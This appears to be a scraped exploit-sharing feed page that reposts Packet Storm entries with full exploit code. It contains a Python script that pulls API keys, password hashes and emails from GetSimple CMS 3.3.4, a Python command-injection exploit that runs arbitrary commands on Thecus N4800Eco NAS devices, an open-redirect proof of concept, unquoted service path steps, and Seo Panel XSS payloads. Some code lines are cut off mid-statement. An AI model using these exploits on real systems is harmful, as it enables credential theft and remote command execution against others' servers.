Hacking Articles Tips Tricks Videos Tutorials

Continue reading on Medium » (https://brijesh-patel.medium.com/what-is-cyber-kill-chain-bbe955624fb8?source=rss------bug_bounty-5)

10 views14:10

8 views14:16

Hacking Articles Tips Tricks Videos Tutorials

8 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
GetSimple CMS 3.3.4 Information Disclosure

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
GetSimple CMS version 3.3.4 suffers from an information disclosure vulnerability.

MD5 | 954698df1ae195237a6d1a9f005c0f3f

Download

# Exploit Title: GetSimple CMS 3.3.4 - Information Disclosure
# Date 01.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://get-simple.info/
# Software Link: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip
# Version: 3.3.4
# CVE: CVE-2014-8722
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit
'''
Description:
GetSimple CMS 3.3.4 allows remote attackers to obtain sensitive information via a direct request to
(1) data/users/<username.xml,
(2) backups/users/<username.xml.bak,
(3) data/other/authorization.xml, or
(4) data/other/appid.xml.
'''
'''
Import required modules:
'''
import sys
import requests

'''
User-Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
cmspath = sys.argv[3]
print('')
username = input("Do you know the username? Y/N: ")
if username == 'Y':
print('')
username = True
username_string = input('Please enter the username: ')
else:
print('')
username = False
print('No problem, you will still get the API key')
'''
Get Api-Key:
'''
url = 'http://' + target_ip + ':' + target_port + cmspath + '/data/other/authorization.xml'
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"
}
x = requests.get(url, headers=header).text
start = x.find('[') + 7
end = x.find(']')
api_key = x[start:end]
print('')
print('Informations:')
print('')
print('[*] API Key: ' + api_key)
if username:
'''
Get Email and Passwordhash:
'''
url = "http://" + target_ip + ':' + target_port + cmspath + '/data/users/' + username_string + '.xml'
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"
}
x = requests.get(url, headers=header).text
start =  x[x.find('PWD>'):]
passwordhash = start[start.find('>') +1 :start.find('
print('[*] Hashed Password: ' + passwordhash)

start = x[x.find('EMAIL>'):]
email = start[start.find('>') + 1 : start.find('
print('[*] Email: ' + email)
print('')

Source:packetstormsecurity.com

7 views14:16

Hacking Articles Tips Tricks Videos Tutorials

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Backdoor.Win32.Delf.acz Buffer Overflow

Kitploit

Backdoor.Win32.Delf.acz Buffer Overflow

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Products.PluggableAuthService 2.6.0 Open Redirect

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
Products.PluggableAuthService version 2.6.0 suffers from an open redirection vulnerability.

MD5 | 4b70535ef74ac82dc36e19572d6af760

Download

# Exploit Title: Products.PluggableAuthService 2.6.0 - Open Redirect
# Exploit Author: Piyush Patil
# Affected Component: Pluggable Zope authentication/authorization framework
# Component Link: https://pypi.org/project/Products.PluggableAuthService/
# Version: < 2.6.1
# CVE: CVE-2021-21337
# Reference: https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr
--------------------------Proof of Concept-----------------------

1- Goto https://localhost/login
2- Turn on intercept and click on the login
3- Change "came_from" parameter value to https://attacker.com
4- User will be redirected to an attacker-controlled website.

Fix: pip install "Products.PluggableAuthService>=2.6.1"

Source:packetstormsecurity.com

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Intel Audio Service 01.00.1080.0 Unquoted Service Path

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Intel Audio Service version 01.00.1080.0 suffers from an unquoted service path vulnerability.

MD5 | 1832bae6f7375ed5c911255279576ec0

Download

# Exploit Title: Intel(R) Audio Service x64 01.00.1080.0 - 'IntelAudioService' Unquoted Service Path
# Date: 06-01-2021
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 01.00.1080.0
# File Version: 1.00.1080.0
# Tested on: Microsoft® Windows 10 Home Single Language 10.0.19042 x64 es
# Vulnerability Type: Unquoted Service Path
# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IntelAudioService%"' get name, displayname, pathname, startmode, startname

DisplayName             Name               PathName                                                               StartMode  StartName
Intel(R) Audio Service  IntelAudioService  C:\WINDOWS\system32\cAVS\Intel(R) Audio Service\IntelAudioService.exe  Auto       LocalSystem
# 2. To check service info:

C:\>sc qc "IntelAudioService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: IntelAudioService
TIPO               : 10  WIN32_OWN_PROCESS
TIPO_INICIO        : 2   AUTO_START
CONTROL_ERROR      : 1   NORMAL
NOMBRE_RUTA_BINARIO: C:\WINDOWS\system32\cAVS\Intel(R) Audio Service\IntelAudioService.exe
GRUPO_ORDEN_CARGA  :
ETIQUETA           : 0
NOMBRE_MOSTRAR     : Intel(R) Audio Service
DEPENDENCIAS       :
NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires drop a malicious executable into the service path undetected by the OS in order
to gain SYSTEM privileges.

Source:packetstormsecurity.com

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Thecus N4800Eco Command Injection

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Thecus N4800Eco NAS server control panel suffers from a command injection vulnerability.

MD5 | ae4a89312d846301be09513febb070f1

Download

# Exploit Title: Thecus N4800Eco Nas Server Control Panel - Comand Injection
# Date: 01/06/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: http://www.thecus.com/
# Software Link: http://www.thecus.com/product.php?PROD_ID=83
# Version: N4800Eco
# Description: https://docs.unsafe-inline.com/0day/thecus-n4800eco-nas-server-control-panel-comand-injection
#!/usr/bin/python3
import requests
import sys
import urllib3
# To fix SSL error that occurs when the script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = DEFAULT@SECLEVEL=2
# 2- Set value of MinProtocol as TLSv1.0
def readResult(s, target):
d = {
"fun": "setlog",
"action": "query",
"params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]'
}
url = "http://" + target + "/adm/setmain.php"
resultReq = s.post(url, data=d, verify=False)
dict = resultReq.text.split()
print("[+] Reading system log...\n")
print(dict[5:8])     #change this range to read whole output of the command

def delUser(s, target, command):
d = {
"action": "delete",
"username": "$("+command+")"
}
url = "http://" + target + "/adm/setmain.php?fun=setlocaluser"
delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

if 'Local User remove succeeds' in delUserReq.text:
print('[+] %s command was executed successfully' % command)
else:
print('[-] %s command was not executed!' %command)
sys.exit(1)
readResult(s, target)

def addUser(s, target, command):
d = {'batch_content': '%24('+command+')%2C22222%2C9999'}
url = "http://" + target + "/adm/setmain.php?fun=setbatch"
addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)

if 'Users and groups were created successfully.' in addUserReq.text:
print('[+] Users and groups were created successfully')
else:
print('[-] Users and groups were not created')
sys.exit(1)
delUser(s, target, command)

def login(target, username, password, command=None):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
d = {
"&eplang": "english",
"p_pass": password,
"p_user": username,
"username": username,
"pwd": password,
"action": "login",
"option": "com_extplorer"
}
url = "http://" + target + "/adm/login.php"
loginReq = s.post(url, data=d, allow_redirects=False, verify=False)

if '"success":true' in loginReq.text:
print('[+] Authentication successful')
elif '"success":false' in loginReq.text:
print('[-] Authentication failed!')
sys.exit(1)
else:
print('[-] Something went wrong!')
sys.exit(1)
addUser(s, target, command)

def main(args):
if len(args) != 5:
print("usage: %s targetIp:port username password command" % (args[0]))
print("Example 192.168.1.13:80 admin admin id")
sys.exit(1)
login(target=args[1], username=args[2], password=args[3], command=args[4])
if __name__ == "__main__":
main(args=sys.argv)

Source:packetstormsecurity.com

6 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Cacti 1.2.12 SQL Injection / Remote Command Execution

Kitploit

Cacti 1.2.12 SQL Injection / Remote Command Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 views14:16

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Seo Panel 4.8.0 Cross Site Scripting

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
Seo Panel version 4.8.0 suffers from multiple cross site scripting vulnerabilities.

MD5 | 8ad5fb98ff68e1b4ac68594baa474a3b

Download

# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS
# Date: 21-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28417
-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Add below line at the end:
http://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com
3- Hover your mouse near to "CTR" field
-----------
# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Date: 22-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418
-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field